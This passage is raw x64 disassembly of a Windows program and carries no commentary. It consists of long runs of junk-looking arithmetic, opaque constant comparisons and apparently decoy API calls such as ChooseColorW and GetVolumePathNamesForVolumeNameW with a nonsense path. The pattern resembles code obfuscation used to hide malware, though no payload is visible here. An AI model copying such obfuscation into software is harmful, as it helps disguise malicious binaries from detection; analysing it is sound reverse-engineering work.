cmp eax, ecx
jne 0x14000762a
movzx eax, word [rsp + 0x844]
movzx ecx, word [rsp + 0x848]
and eax, ecx
mov word [rsp + 0x854], ax
movzx eax, byte [rsp + 0x30]
mov byte [rsp + 0x39], al
movsx eax, word [rsp + 0x840]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c98]
mov word [rcx], ax
mov dword [rsp + 0x2ac0], 0x9b1d
mov rax, qword [rsp + 0x4c78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x854], ax
jmp 0x14000766c
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x32]
shl eax, cl
movsx ecx, byte [rsp + 0x38]
mov dword [rsp + 0x2ac4], ecx
movsx edx, byte [rsp + 0x37]
movzx ecx, dl
mov edx, dword [rsp + 0x2ac4]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x14000766c
mov ecx, dword [rsp + 0x2958]
call fcn.1400f92c0
nop
cmp dword [rsp + 0x2aa8], 0xb376
je 0x14000797d
movzx eax, byte [rsp + 0x33]
movzx ecx, byte [rsp + 0x34]
sub eax, ecx
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x4d58]
mov rcx, qword [rsp + 0x4b88]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140114150], eax
mov rax, qword [rsp + 0x4c58]
mov rcx, qword [rsp + 0x4bf8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b78], rax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2a98]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [0x140113008]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4b90]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2aa8]
add eax, 0xbb
mov dword [rsp + 0x2aa8], eax
mov rax, qword [rsp + 0x4c98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x850]
sub eax, ecx
mov word [rsp + 0x840], ax
movzx eax, byte [rsp + 0x34]
movzx ecx, byte [rsp + 0x36]
xor eax, ecx
mov byte [rsp + 0x35], al
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x36]
or eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
movzx eax, word [rsp + 0x844]
movzx ecx, word [rsp + 0x848]
sar eax, cl
mov word [rsp + 0x854], ax
mov rax, qword [rsp + 0x4c70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x39], al
mov rax, qword [rsp + 0x4bc8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c98]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140114158]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b40]
mov rcx, qword [rsp + 0x4d60]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b28]
mov rcx, qword [rsp + 0x4ce8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b20]
mov rcx, qword [rsp + 0x4b80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b78], rax
movsx eax, byte [rsp + 0x38]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x36]
mov rcx, qword [rsp + 0x4cc0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x31], al
movsx eax, word [rsp + 0x850]
movsx ecx, word [rsp + 0x84c]
sub eax, ecx
mov word [rsp + 0x840], ax
mov rax, qword [rsp + 0x4c70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x38]
sub eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov byte [rcx], al
movzx eax, word [rsp + 0x844]
mov rcx, qword [rsp + 0x4c78]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4bc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x858]
and eax, ecx
mov rcx, qword [0x140114158]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b80]
mov rcx, qword [rsp + 0x4b20]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cb8], rax
mov rax, qword [rsp + 0x4bd0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x140113008]
shr rax, cl
mov qword [rsp + 0x4cd0], rax
mov rax, qword [rsp + 0x4d60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a98]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a88], eax
mov rax, qword [rsp + 0x4bb0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2a20]
shl eax, cl
mov rcx, qword [rsp + 0x4d78]
mov dword [rcx], eax
movzx eax, word [rsp + 0x854]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x848], ax
mov rax, qword [rsp + 0x4c98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4b70]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4c98]
mov word [rcx], ax
jmp 0x14000766c
movsx eax, word [rsp + 0x840]
movsx ecx, word [rsp + 0x84c]
and eax, ecx
movsx ecx, word [rsp + 0x858]
movsx edx, word [rsp + 0x850]
sub ecx, edx
cmp eax, ecx
jle 0x1400079dc
mov rax, qword [rsp + 0x4c70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4cd8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
lea rcx, [rsp + 0x16870]
call qword [sym.imp.COMDLG32.dll_ChooseColorW]
mov dword [rsp + 0x2ac8], eax
mov rax, qword [rsp + 0x4bf8]
mov qword [rsp + 0x4d80], rax
cmp qword [rsp + 0x4d80], 0xffffffffffffffff
je 0x140007a14
movabs rax, 0x74ec63fbec4660
cmp qword [rsp + 0x4d80], rax
je 0x140007ab6
jmp 0x140007b0e
mov rax, qword [rsp + 0x4d60]
mov ecx, dword [rsp + 0x2980]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov rdx, qword [rsp + 0x4b40]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jb 0x140007ab4
movzx eax, word [rsp + 0x844]
mov word [rsp + 0x85c], ax
mov rax, qword [rsp + 0x4c90]
mov rax, qword [rax]
mov qword [0x140114160], rax
mov rax, qword [rsp + 0x4bc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x84c]
add eax, ecx
mov word [rsp + 0x858], ax
mov dword [rsp + 0x2acc], 0xd62e
lea rax, [rsp + 0x2a20]
mov qword [rsp + 0x4d88], rax
mov eax, dword [rsp + 0x2a98]
mov ecx, dword [rsp + 0x2a88]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2958], eax
jmp 0x140007b0e
mov rax, qword [rsp + 0x4bd0]
mov rcx, qword [rsp + 0x4d68]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b28], rax
mov rax, qword [rsp + 0x4bf8]
mov rcx, qword [rsp + 0x4b78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c58]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x38]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x37], al
cmp dword [rsp + 0x2a10], 0x496e
ja 0x140007fe7
mov rax, qword [rsp + 0x4c98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x850], ax
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x36]
or eax, ecx
mov byte [rsp + 0x34], al
mov rax, qword [rsp + 0x4c78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x85c]
sar eax, cl
mov word [section..data], ax
mov eax, dword [rsp + 0x2a10]
add eax, 6
mov dword [rsp + 0x2a10], eax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x848]
and eax, ecx
mov word [rsp + 0x844], ax
mov rax, qword [0x140113008]
mov rcx, qword [rsp + 0x4ce8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ba0], rax
mov rax, qword [rsp + 0x4d60]
mov ecx, dword [rsp + 0x2980]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b80]
mov rcx, qword [rsp + 0x4b20]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4bf8], rax
mov rax, qword [rsp + 0x4d78]
mov ecx, dword [rsp + 0x29bc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4d78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x33]
sub eax, ecx
mov byte [rsp + 0x35], al
movsx eax, word [0x140113004]
movsx ecx, word [rsp + 0x840]
add eax, ecx
mov word [rsp + 0x850], ax
movsx eax, byte [rsp + 0x37]
mov rcx, qword [rsp + 0x4cd8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x844]
sub eax, ecx
mov word [section..data], ax
mov rax, qword [rsp + 0x4c70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4cd8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x38], al
mov rax, qword [rsp + 0x4b08]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4b40]
mov qword [rsp + 0x4d90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d90]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4d60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c90]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4b78]
sar rax, cl
mov rcx, qword [rsp + 0x4c58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4bb0]
mov rcx, qword [rsp + 0x4c60]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x29bc], eax
mov rax, qword [0x140113008]
mov rcx, qword [rsp + 0x4b28]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4b90]
mov qword [rcx], rax
movzx eax, word [rsp + 0x848]
movzx ecx, word [rsp + 0x854]
sub eax, ecx
mov rcx, qword [rsp + 0x4bc0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x39]
mov rcx, qword [rsp + 0x4c70]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x34]
sub eax, ecx
mov byte [rsp + 0x33], al
mov rax, qword [rsp + 0x4bc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x858]
add eax, ecx
mov word [0x140113004], ax
movsx eax, byte [rsp + 0x30]
movsx ecx, byte [rsp + 0x39]
and eax, ecx
mov byte [rsp + 0x38], al
mov rax, qword [rsp + 0x4d58]
mov ecx, dword [rsp + 0x2a4c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x29bc], eax
mov rax, qword [0x140114160]
mov rcx, qword [rsp + 0x4b20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b80], rax
mov rax, qword [rsp + 0x4b90]
mov rcx, qword [rsp + 0x4d68]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4ce8], rax
mov eax, dword [rsp + 0x2958]
mov ecx, dword [rsp + 0x2980]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a5c], eax
mov rax, qword [rsp + 0x4c98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4b70]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4c98]
mov word [rcx], ax
movzx eax, byte [rsp + 0x35]
movzx ecx, byte [rsp + 0x36]
shl eax, cl
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x85c]
or eax, ecx
mov word [rsp + 0x854], ax
mov rax, qword [rsp + 0x4bc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x850]
xor eax, ecx
mov word [0x140113004], ax
movsx eax, word [rsp + 0x850]
mov rcx, qword [0x140114158]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4c98]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x4bf8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4c90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a4c], eax
mov eax, dword [rsp + 0x2a5c]
mov ecx, dword [rsp + 0x2a88]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x29d8], eax
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x4cd0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4b28], rax
mov rax, qword [rsp + 0x4c78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4bc0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x848], ax
movsx eax, byte [rsp + 0x39]
movsx ecx, byte [rsp + 0x30]
and eax, ecx
mov rcx, qword [rsp + 0x4c70]
mov byte [rcx], al
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4c78]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4bc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c68]
mov rcx, qword [rsp + 0x4ce8]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x140113008], rax
movzx eax, byte [rsp + 0x36]
movzx ecx, byte [rsp + 0x34]
sub eax, ecx
mov byte [rsp + 0x35], al
mov rax, qword [rsp + 0x4ba0]
movzx ecx, al
mov rax, qword [0x140113008]
shr rax, cl
mov rcx, qword [rsp + 0x4b90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d88]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x29f0]
shl eax, cl
mov rcx, qword [rsp + 0x4bb0]
mov dword [rcx], eax
jmp 0x140007b0e
movzx eax, word [rsp + 0x854]
mov rcx, qword [rsp + 0x4c78]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4bc0]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x4b68]
movzx edx, word [rdx]
xor ecx, edx
cmp eax, ecx
jne 0x14000815a
movsx eax, byte [rsp + 0x30]
mov rcx, qword [rsp + 0x4c70]
movsx ecx, byte [rcx]
and eax, ecx
movsx ecx, byte [rsp + 0x39]
mov rdx, qword [rsp + 0x4c08]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jne 0x140008137
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
mov dword [rsp + 0x2ad0], eax
cmp dword [rsp + 0x2ad0], 0x69b
je 0x14000806c
jmp 0x140008135
mov rax, qword [rsp + 0x4ce8]
mov rcx, qword [rsp + 0x4c00]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov rdx, qword [rsp + 0x4bd0]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
je 0x140008135
mov eax, dword [rsp + 0x2a88]
mov ecx, dword [rsp + 0x2980]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
lea r9, [rsp + 0x16960]
mov r8d, 0x97
lea rdx, [rsp + 0x16af0]
lea rcx, str.C:DigestionsLawexpiratoryemboss
call qword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
mov dword [rsp + 0x2ab0], eax
mov rax, qword [rsp + 0x4c58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b78]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b80], rax
mov rax, qword [rsp + 0x4c70]
movzx r9d, byte [rax]
mov r8d, dword [rsp + 0x29d8]
movzx edx, word [rsp + 0x854]
movzx ecx, word [rsp + 0x84c]
call fcn.1400faaa0
nop
jmp 0x14000815a
mov rax, qword [rsp + 0x4bc8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c98]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c70]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x32], al
movsx eax, word [rsp + 0x840]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4b70]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x84c]
xor ecx, edx
cmp eax, ecx
je 0x1400081c1
movzx eax, word [rsp + 0x844]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x85c], ax
cmp dword [rsp + 0x2ab8], 0x4b4d
jb 0x140008476
mov eax, dword [rsp + 0x2ab8]
sub eax, 0xe4
mov dword [rsp + 0x2ab8], eax
movsx eax, word [rsp + 0x84c]
movsx ecx, word [rsp + 0x840]
sub eax, ecx
mov word [0x140113004], ax
movzx eax, byte [rsp + 0x31]
movzx ecx, byte [rsp + 0x33]
and eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b78], rax
mov rax, qword [rsp + 0x4b08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2980]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b90]
mov rcx, qword [rsp + 0x4c00]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4b90]
mov qword [rcx], rax
mov eax, dword [rsp + 0x29bc]
mov ecx, dword [rsp + 0x29f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a20], eax
mov rax, qword [rsp + 0x4bc8]
movsx eax, word [rax]
movsx ecx, word [0x140113004]
sub eax, ecx
mov word [rsp + 0x840], ax
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x85c]
sub eax, ecx
mov word [rsp + 0x844], ax
mov rax, qword [rsp + 0x4c08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x38]
add eax, ecx
mov rcx, qword [rsp + 0x4c70]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x36]
and eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
movsx eax, word [rsp + 0x858]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x140114158]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b80]
mov rcx, qword [rsp + 0x4c90]
mov qword [rsp + 0x4d98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d98]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x4b78], rax
mov rax, qword [rsp + 0x4c68]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4ba0]
shl rax, cl
mov rcx, qword [rsp + 0x4d68]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2958]
mov ecx, dword [rsp + 0x2980]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a5c], eax
mov rax, qword [rsp + 0x4bb0]
mov rcx, qword [rsp + 0x4d58]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4bb0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x34]
movzx ecx, byte [rsp + 0x36]
add eax, ecx
mov byte [rsp + 0x33], al
movsx eax, byte [rsp + 0x30]
mov rcx, qword [rsp + 0x4c70]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4c08]
mov byte [rcx], al
mov rax, qword [rsp + 0x4bc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x84c]
sub eax, ecx
mov word [rsp + 0x840], ax
movzx eax, word [section..data]
mov rcx, qword [rsp + 0x4bc0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c58]
mov rcx, qword [rsp + 0x4c90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x140114160], rax
mov rax, qword [rsp + 0x4b40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a98]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ce8]
mov rcx, qword [rsp + 0x4c00]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd0], rax
jmp 0x1400081c1
lea rax, [rsp + 0x4b20]
mov qword [rsp + 0x4da0], rax
movzx eax, word [rsp + 0x85c]
movzx ecx, word [rsp + 0x854]
add eax, ecx
movzx ecx, word [rsp + 0x848]
mov rdx, qword [rsp + 0x4b68]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jne 0x1400f855d
mov rax, qword [rsp + 0x4bb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29bc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x31]
xor eax, ecx
mov byte [rsp + 0x36], al
movzx eax, byte [rsp + 0x34]
movzx ecx, byte [rsp + 0x36]
sar eax, cl
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
movsx eax, word [rsp + 0x84c]
movsx ecx, word [rsp + 0x850]
shl eax, cl
mov word [rsp + 0x840], ax
movsx eax, byte [rsp + 0x32]
movsx ecx, byte [rsp + 0x37]
or eax, ecx
mov byte [rsp + 0x38], al
movsx eax, word [rsp + 0x840]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x140114158]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4da0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2980]
mov ecx, dword [rsp + 0x2a98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a88], eax
mov eax, dword [rsp + 0x2a20]
mov ecx, dword [rsp + 0x29f0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a3c], eax
mov rax, qword [rsp + 0x4c68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ba0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd0], rax
movsx eax, word [rsp + 0x84c]
mov rcx, qword [rsp + 0x4b70]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c98]
mov word [rcx], ax
mov eax, dword [rsp + 0x2a08]
add eax, 0x86
mov dword [rsp + 0x2a08], eax
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x35]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
movsx eax, word [rsp + 0x840]
movsx ecx, word [rsp + 0x858]
add eax, ecx
mov rcx, qword [rsp + 0x4bc8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x37]
movsx ecx, byte [rsp + 0x32]
add eax, ecx
mov byte [rsp + 0x39], al
movsx eax, word [rsp + 0x84c]
movsx ecx, word [rsp + 0x850]
sar eax, cl
mov rcx, qword [0x140114158]
mov word [rcx], ax
movsx eax, byte [rsp + 0x32]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x30], al
mov rax, qword [rsp + 0x4d60]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4b08]
mov qword [rsp + 0x4da8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4da8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a4c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x29bc], eax
mov rax, qword [rsp + 0x4c00]
mov rcx, qword [rsp + 0x4ce8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b28], rax
mov rax, qword [rsp + 0x4bf8]
mov rcx, qword [rsp + 0x4b78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c78]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x35]
add eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov byte [rcx], al
movsx eax, word [rsp + 0x840]
movsx ecx, word [0x140113004]
sub eax, ecx
mov word [rsp + 0x850], ax
movsx eax, word [rsp + 0x840]
movsx ecx, word [rsp + 0x850]
and eax, ecx
mov rcx, qword [0x140114158]
mov word [rcx], ax
movzx eax, word [rsp + 0x844]
movzx ecx, word [rsp + 0x85c]
sub eax, ecx
mov word [rsp + 0x848], ax
cmp dword [rsp + 0x2a08], 0x44f0
jne 0x1400084d4
cmp dword [rsp + 0x2984], 0xa167
jae 0x14000890e
mov rax, qword [rsp + 0x4c68]
mov rcx, qword [rsp + 0x4b90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4ba0], rax
mov rax, qword [rsp + 0x4d88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a20]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x29bc], eax
mov rax, qword [rsp + 0x4da0]
mov rcx, qword [rsp + 0x4ba8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4bf8], rax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2a98]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x36]
shl eax, cl
mov byte [rsp + 0x34], al
movsx eax, byte [rsp + 0x39]
mov rcx, qword [rsp + 0x4cd8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4c70]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x850]
sar eax, cl
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
mov eax, dword [rsp + 0x2984]
add eax, 0x43
mov dword [rsp + 0x2984], eax
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4c78]
movzx ecx, word [rcx]
and eax, ecx
mov word [section..data], ax
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x33]
add eax, ecx
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x4c00]
mov rcx, qword [rsp + 0x4ce8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd0], rax
mov eax, dword [rsp + 0x2958]
mov dword [rsp + 0x2a98], eax
mov rax, qword [rsp + 0x4bf8]
mov rcx, qword [rsp + 0x4b80]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b20], rax
jmp 0x14000879b
cmp dword [rsp + 0x2a40], 0xc70b
jb 0x140008bca
mov eax, dword [rsp + 0x29f0]
mov ecx, dword [rsp + 0x2a3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a4c], eax
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x36]
sub eax, ecx
mov byte [rsp + 0x33], al
movzx eax, word [rsp + 0x844]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4c78]
mov word [rcx], ax
movsx eax, word [rsp + 0x840]
